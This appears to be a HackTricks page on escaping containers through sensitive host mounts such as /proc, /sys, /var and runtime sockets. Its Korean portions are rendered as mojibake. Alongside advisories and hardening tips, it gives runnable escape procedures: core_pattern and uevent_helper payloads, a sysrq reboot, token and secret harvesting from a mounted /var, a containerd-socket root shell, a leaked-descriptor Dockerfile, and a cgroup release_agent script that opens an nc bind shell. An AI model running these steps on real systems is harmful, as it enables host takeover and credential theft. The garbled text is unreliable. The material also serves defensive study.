Sensitive Mounts
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
/proc, /sys, ๋ฐ /var์ ์ ์ ํ ๋ค์์คํ์ด์ค ๊ฒฉ๋ฆฌ ์์ด ๋
ธ์ถ๋๋ฉด ๊ณต๊ฒฉ ํ๋ฉด ํ๋ ๋ฐ ์ ๋ณด ์ ์ถ์ ํฌํจํ ์๋นํ ๋ณด์ ์ํ์ด ๋ฐ์ํฉ๋๋ค. ์ด๋ฌํ ๋๋ ํ ๋ฆฌ๋ ๋ฏผ๊ฐํ ํ์ผ์ ํฌํจํ๊ณ ์์ผ๋ฉฐ, ์๋ชป ๊ตฌ์ฑ๋๊ฑฐ๋ ๋ฌด๋จ ์ฌ์ฉ์๊ฐ ์ ๊ทผํ ๊ฒฝ์ฐ ์ปจํ
์ด๋ ํ์ถ, ํธ์คํธ ์์ ๋๋ ์ถ๊ฐ ๊ณต๊ฒฉ์ ๋์์ด ๋๋ ์ ๋ณด๋ฅผ ์ ๊ณตํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, -v /proc:/host/proc๋ฅผ ์๋ชป ๋ง์ดํธํ๋ฉด ๊ฒฝ๋ก ๊ธฐ๋ฐ ํน์ฑ์ผ๋ก ์ธํด AppArmor ๋ณดํธ๋ฅผ ์ฐํํ ์ ์์ผ๋ฉฐ, /host/proc๊ฐ ๋ณดํธ๋์ง ์๊ฒ ๋ฉ๋๋ค.
๊ฐ ์ ์ฌ์ ์ทจ์ฝ์ ์ ๋ํ ์ถ๊ฐ ์ธ๋ถ์ ๋ณด๋ https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts์์ ํ์ธํ ์ ์์ต๋๋ค.
procfs Vulnerabilities
/proc/sys
์ด ๋๋ ํ ๋ฆฌ๋ ์ผ๋ฐ์ ์ผ๋ก sysctl(2)๋ฅผ ํตํด ์ปค๋ ๋ณ์๋ฅผ ์์ ํ ์ ์๋ ์ ๊ทผ์ ํ์ฉํ๋ฉฐ, ์ฌ๋ฌ ๊ฐ์ ์ฐ๋ ค๋๋ ํ์ ๋๋ ํ ๋ฆฌ๋ฅผ ํฌํจํฉ๋๋ค:
/proc/sys/kernel/core_pattern
-
core(5)์์ ์ค๋ช ๋จ.
-
์ด ํ์ผ์ ์ธ ์ ์๋ค๋ฉด, ํ๋ก๊ทธ๋จ์ด๋ ์คํฌ๋ฆฝํธ์ ๊ฒฝ๋ก ๋ค์ ํ์ดํ
|๋ฅผ ์จ์ ์ถฉ๋์ด ๋ฐ์ํ ํ ์คํ๋ ์ ์์ต๋๋ค. -
๊ณต๊ฒฉ์๋
mount๋ฅผ ์คํํ์ฌ ํธ์คํธ ๋ด์์ ์์ ์ ์ปจํ ์ด๋๋ก์ ๊ฒฝ๋ก๋ฅผ ์ฐพ๊ณ , ๊ทธ ๊ฒฝ๋ก๋ฅผ ์์ ์ ์ปจํ ์ด๋ ํ์ผ ์์คํ ๋ด์ ๋ฐ์ด๋๋ฆฌ์ ์ธ ์ ์์ต๋๋ค. ๊ทธ๋ฐ ๋ค์ ํ๋ก๊ทธ๋จ์ ์ถฉ๋์์ผ ์ปค๋์ด ์ปจํ ์ด๋ ์ธ๋ถ์์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ๋๋ก ๋ง๋ค ์ ์์ต๋๋ค. -
ํ ์คํธ ๋ฐ ์ ์ฉ ์์:
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler
์ด ๊ฒ์๋ฌผ์์ ๋ ๋ง์ ์ ๋ณด๋ฅผ ํ์ธํ์ธ์: this post.
์ถฉ๋ํ๋ ์์ ํ๋ก๊ทธ๋จ:
int main(void) {
char buf[1];
for (int i = 0; i < 100; i++) {
buf[i] = 1;
}
return 0;
}
/proc/sys/kernel/modprobe
- proc(5)์์ ์์ธํ ์ค๋ช ๋จ.
- ์ปค๋ ๋ชจ๋ ๋ก๋์ ๊ฒฝ๋ก๋ฅผ ํฌํจํ๋ฉฐ, ์ปค๋ ๋ชจ๋์ ๋ก๋ํ๊ธฐ ์ํด ํธ์ถ๋จ.
- ์ ๊ทผ ํ์ธ ์์ :
ls -l $(cat /proc/sys/kernel/modprobe) # modprobe ์ ๊ทผ ํ์ธ
/proc/sys/vm/panic_on_oom
- proc(5)์์ ์ฐธ์กฐ๋จ.
- OOM ์กฐ๊ฑด์ด ๋ฐ์ํ ๋ ์ปค๋์ด ํจ๋์ ์ผ์ผํค๊ฑฐ๋ OOM ํฌ๋ฌ๋ฅผ ํธ์ถํ ์ง๋ฅผ ์ ์ดํ๋ ์ ์ญ ํ๋๊ทธ.
/proc/sys/fs
- proc(5)์ ๋ฐ๋ผ, ํ์ผ ์์คํ ์ ๋ํ ์ต์ ๊ณผ ์ ๋ณด๋ฅผ ํฌํจํจ.
- ์ฐ๊ธฐ ์ ๊ทผ์ ํธ์คํธ์ ๋ํ ๋ค์ํ ์๋น์ค ๊ฑฐ๋ถ ๊ณต๊ฒฉ์ ๊ฐ๋ฅํ๊ฒ ํ ์ ์์.
/proc/sys/fs/binfmt_misc
- ๋งค์ง ๋๋ฒ์ ๋ฐ๋ผ ๋น๋ค์ดํฐ๋ธ ์ด์ง ํ์์ ๋ํ ์ธํฐํ๋ฆฌํฐ๋ฅผ ๋ฑ๋กํ ์ ์์.
/proc/sys/fs/binfmt_misc/register๊ฐ ์ฐ๊ธฐ ๊ฐ๋ฅํ ๊ฒฝ์ฐ ๊ถํ ์์น ๋๋ ๋ฃจํธ ์ ์ ๊ทผ์ผ๋ก ์ด์ด์ง ์ ์์.- ๊ด๋ จ๋ ์ต์คํ๋ก์ ๋ฐ ์ค๋ช :
- Poor manโs rootkit via binfmt_misc
- ์ฌ์ธต ํํ ๋ฆฌ์ผ: ๋น๋์ค ๋งํฌ
/proc์ ๊ธฐํ ํญ๋ชฉ
/proc/config.gz
CONFIG_IKCONFIG_PROC๊ฐ ํ์ฑํ๋ ๊ฒฝ์ฐ ์ปค๋ ๊ตฌ์ฑ์ ๋๋ฌ๋ผ ์ ์์.- ๊ณต๊ฒฉ์๊ฐ ์คํ ์ค์ธ ์ปค๋์ ์ทจ์ฝ์ ์ ์๋ณํ๋ ๋ฐ ์ ์ฉํจ.
/proc/sysrq-trigger
- Sysrq ๋ช ๋ น์ ํธ์ถํ ์ ์์ผ๋ฉฐ, ์ฆ๊ฐ์ ์ธ ์์คํ ์ฌ๋ถํ ๋๋ ๊ธฐํ ์ค์ํ ์์ ์ ์ ๋ฐํ ์ ์์.
- ํธ์คํธ ์ฌ๋ถํ ์์ :
echo b > /proc/sysrq-trigger # ํธ์คํธ ์ฌ๋ถํ
/proc/kmsg
- ์ปค๋ ๋ง ๋ฒํผ ๋ฉ์์ง๋ฅผ ๋ ธ์ถํจ.
- ์ปค๋ ์ต์คํ๋ก์, ์ฃผ์ ์ ์ถ ๋ฐ ๋ฏผ๊ฐํ ์์คํ ์ ๋ณด๋ฅผ ์ ๊ณตํ๋ ๋ฐ ๋์์ ์ค ์ ์์.
/proc/kallsyms
- ์ปค๋์์ ๋ด๋ณด๋ธ ์ฌ๋ณผ๊ณผ ๊ทธ ์ฃผ์๋ฅผ ๋์ดํจ.
- KASLR์ ๊ทน๋ณตํ๊ธฐ ์ํ ์ปค๋ ์ต์คํ๋ก์ ๊ฐ๋ฐ์ ํ์์ ์.
- ์ฃผ์ ์ ๋ณด๋
kptr_restrict๊ฐ1๋๋2๋ก ์ค์ ๋ ๊ฒฝ์ฐ ์ ํ๋จ. - proc(5)์์ ์์ธํ ์ค๋ช ๋จ.
/proc/[pid]/mem
- ์ปค๋ ๋ฉ๋ชจ๋ฆฌ ์ฅ์น
/dev/mem์ ์ธํฐํ์ด์คํจ. - ์ญ์ฌ์ ์ผ๋ก ๊ถํ ์์น ๊ณต๊ฒฉ์ ์ทจ์ฝํจ.
- proc(5)์์ ๋ ๋ง์ ์ ๋ณด.
/proc/kcore
- ์์คํ ์ ๋ฌผ๋ฆฌ์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ELF ์ฝ์ด ํ์์ผ๋ก ๋ํ๋.
- ์ฝ๊ธฐ๋ ํธ์คํธ ์์คํ ๋ฐ ๋ค๋ฅธ ์ปจํ ์ด๋์ ๋ฉ๋ชจ๋ฆฌ ๋ด์ฉ์ ์ ์ถํ ์ ์์.
- ํฐ ํ์ผ ํฌ๊ธฐ๋ ์ฝ๊ธฐ ๋ฌธ์ ๋ ์ํํธ์จ์ด ์ถฉ๋์ ์ด๋ํ ์ ์์.
- 2019๋ /proc/kcore ๋คํํ๊ธฐ์์ ์์ธํ ์ฌ์ฉ๋ฒ.
/proc/kmem
- ์ปค๋ ๊ฐ์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ํ๋ด๋
/dev/kmem์ ๋์ฒด ์ธํฐํ์ด์ค. - ์ฝ๊ธฐ ๋ฐ ์ฐ๊ธฐ๋ฅผ ํ์ฉํ์ฌ ์ปค๋ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ง์ ์์ ํ ์ ์์.
/proc/mem
- ๋ฌผ๋ฆฌ์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ํ๋ด๋
/dev/mem์ ๋์ฒด ์ธํฐํ์ด์ค. - ์ฝ๊ธฐ ๋ฐ ์ฐ๊ธฐ๋ฅผ ํ์ฉํ๋ฉฐ, ๋ชจ๋ ๋ฉ๋ชจ๋ฆฌ ์์ ์ ์ํด ๊ฐ์ ์ฃผ์๋ฅผ ๋ฌผ๋ฆฌ ์ฃผ์๋ก ๋ณํํด์ผ ํจ.
/proc/sched_debug
- PID ๋ค์์คํ์ด์ค ๋ณดํธ๋ฅผ ์ฐํํ์ฌ ํ๋ก์ธ์ค ์ค์ผ์ค๋ง ์ ๋ณด๋ฅผ ๋ฐํํจ.
- ํ๋ก์ธ์ค ์ด๋ฆ, ID ๋ฐ cgroup ์๋ณ์๋ฅผ ๋ ธ์ถํจ.
/proc/[pid]/mountinfo
- ํ๋ก์ธ์ค์ ๋ง์ดํธ ๋ค์์คํ์ด์ค ๋ด ๋ง์ดํธ ์ง์ ์ ๋ํ ์ ๋ณด๋ฅผ ์ ๊ณตํจ.
- ์ปจํ
์ด๋
rootfs๋๋ ์ด๋ฏธ์ง์ ์์น๋ฅผ ๋ ธ์ถํจ.
/sys ์ทจ์ฝ์
/sys/kernel/uevent_helper
- ์ปค๋ ์ฅ์น
uevents๋ฅผ ์ฒ๋ฆฌํ๋ ๋ฐ ์ฌ์ฉ๋จ. /sys/kernel/uevent_helper์ ์ฐ๋ฉดueventํธ๋ฆฌ๊ฑฐ ์ ์์์ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ ์ ์์.- ์ต์คํ๋ก์ ์์ :
#### Creates a payload
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
#### Finds host path from OverlayFS mount for container
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
#### Sets uevent_helper to malicious helper
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
#### Triggers a uevent
echo change > /sys/class/mem/null/uevent
#### Reads the output
cat /output
/sys/class/thermal
- Controls temperature settings, potentially causing DoS attacks or physical damage.
/sys/kernel/vmcoreinfo
- Leaks kernel addresses, potentially compromising KASLR.
/sys/kernel/security
- Houses
securityfsinterface, allowing configuration of Linux Security Modules like AppArmor. - Access might enable a container to disable its MAC system.
/sys/firmware/efi/vars and /sys/firmware/efi/efivars
- Exposes interfaces for interacting with EFI variables in NVRAM.
- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.
/sys/kernel/debug
debugfsoffers a โno rulesโ debugging interface to the kernel.- History of security issues due to its unrestricted nature.
/var Vulnerabilities
The hostโs /var folder contains container runtime sockets and the containersโ filesystems. If this folder is mounted inside a container, that container will get read-write access to other containersโ file systems with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other containers and applications that run in them.
Kubernetes
If a container like this is deployed with Kubernetes:
apiVersion: v1
kind: Pod
metadata:
name: pod-mounts-var
labels:
app: pentest
spec:
containers:
- name: pod-mounts-var-folder
image: alpine
volumeMounts:
- mountPath: /host-var
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /var
Inside the pod-mounts-var-folder container:
/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh
/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret
JWT_SECRET=85d<SNIP>a0
REFRESH_TOKEN_SECRET=14<SNIP>ea
/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html
/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
are/nginx/html/index2.html
The XSS was achieved:

Note that the container DOES NOT require a restart or anything. Any changes made via the mounted /var folder will be applied instantly.
You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE.
Access to cloud credentials
The container can read K8s serviceaccount tokens or AWS webidentity tokens which allows the container to gain unauthorized access to K8s or cloud:
/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
<SNIP>
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/kube-api-access-bljdj/..2025_01_22_12_17_53.265458487/token
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token
Docker
The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually the other containersโ filesystems are available under a different base path:
$ docker info | grep -i 'docker root\|storage driver'
์คํ ๋ฆฌ์ง ๋๋ผ์ด๋ฒ: overlay2
๋์ปค ๋ฃจํธ ๋๋ ํ ๋ฆฌ: /var/lib/docker
So the filesystems are under /var/lib/docker/overlay2/:
$ sudo ls -la /var/lib/docker/overlay2
drwx--x--- 4 root root 4096 1์ 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
drwx--x--- 4 root root 4096 1์ 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
drwx--x--- 4 root root 4096 1์ 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
drwx--x--- 4 root root 4096 1์ 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
<SNIP>
Note
The actual paths may differ in different setups, which is why your best bet is to use the find command to locate the other containersโ filesystems and SA / web identity tokens
Other Sensitive Host Sockets and Directories (2023-2025)
Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. Treat the following paths as highly sensitive and never expose them to untrusted workloads:
/run/containerd/containerd.sock # containerd CRI ์์ผ
/var/run/crio/crio.sock # CRI-O ๋ฐํ์ ์์ผ
/run/podman/podman.sock # Podman API (rootful ๋๋ rootless)
/run/buildkit/buildkitd.sock # BuildKit ๋ฐ๋ชฌ (rootful)
/var/run/kubelet.sock # Kubernetes ๋
ธ๋์ Kubelet API
/run/firecracker-containerd.sock # Kata / Firecracker
Attack example abusing a mounted containerd socket:
# ์ปจํ
์ด๋ ๋ด๋ถ (์์ผ์ด /host/run/containerd.sock์ ๋ง์ดํธ๋จ)
ctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest
ctr --address /host/run/containerd.sock run --tty --privileged --mount \
type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh
chroot /host /bin/bash # ํธ์คํธ์์ ์ ์ฒด ๋ฃจํธ ์
ธ
A similar technique works with crictl, podman or the kubelet API once their respective sockets are exposed.
Writable cgroup v1 mounts are also dangerous. If /sys/fs/cgroup is bind-mounted rw and the host kernel is vulnerable to CVE-2022-0492, an attacker can set a malicious release_agent and execute arbitrary code in the initial namespace:
# ์ปจํ
์ด๋๊ฐ CAP_SYS_ADMIN์ ๊ฐ์ง๊ณ ์๊ณ ์ทจ์ฝํ ์ปค๋์ ๊ฐ์ ํ ๋
mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # CVE-2022-0492 ํ์
echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
sh -c "echo 0 > /tmp/x/cgroup.procs" # empty-cgroup ์ด๋ฒคํธ๋ฅผ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค.
When the last process leaves the cgroup, /tmp/pwn runs as root on the host. Patched kernels (>5.8 with commit 32a0db39f30d) validate the writerโs capabilities and block this abuse.
Mount-Related Escape CVEs (2023-2025)
- CVE-2024-21626 โ runc โLeaky Vesselsโ file-descriptor leak
runc โค 1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or
docker execcould start a container whose working directory is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker โฅ 25.0.3, containerd โฅ 1.7.14).
FROM scratch
WORKDIR /proc/self/fd/4 # 4 == "/" on the host leaked by the runtime
CMD ["/bin/sh"]
-
CVE-2024-23651 / 23653 โ BuildKit OverlayFS copy-up TOCTOU A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be copy-up into the containerโs rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted
docker buildon a vulnerable daemon. -
CVE-2024-1753 โ Buildah / Podman bind-mount breakout during
buildBuildah โค 1.35.0 (and Podman โค 4.9.3) incorrectly resolved absolute paths passed to--mount=type=bindin a Containerfile. A crafted build stage could mount/from the host read-write inside the build container when SELinux was disabled or in permissive mode, leading to full escape at build time. Patched in Buildah 1.35.1 and the corresponding Podman 4.9.4 back-port series. -
CVE-2024-40635 โ containerd UID integer overflow Supplying a
Uservalue larger than2147483647in an image config overflowed the 32-bit signed integer and started the process as UID 0 inside the host user namespace. Workloads expected to run as non-root could therefore obtain root privileges. Fixed in containerd 1.6.38 / 1.7.27 / 2.0.4.
Hardening Reminders (2025)
- Bind-mount host paths read-only whenever possible and add
nosuid,nodev,noexecmount options. - Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
- Keep the container runtime up-to-date (runc โฅ 1.1.12, BuildKit โฅ 0.12.5, Buildah โฅ 1.35.1 / Podman โฅ 4.9.4, containerd โฅ 1.7.27).
- In Kubernetes, use
securityContext.readOnlyRootFilesystem: true, the restricted PodSecurity profile and avoidhostPathvolumes pointing to the paths listed above.
References
- runc CVE-2024-21626 advisory
- Unit 42 analysis of CVE-2022-0492
- https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts
- Understanding and Hardening Linux Containers
- Abusing Privileged and Unprivileged Linux Containers
- Buildah CVE-2024-1753 advisory
- containerd CVE-2024-40635 advisory
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


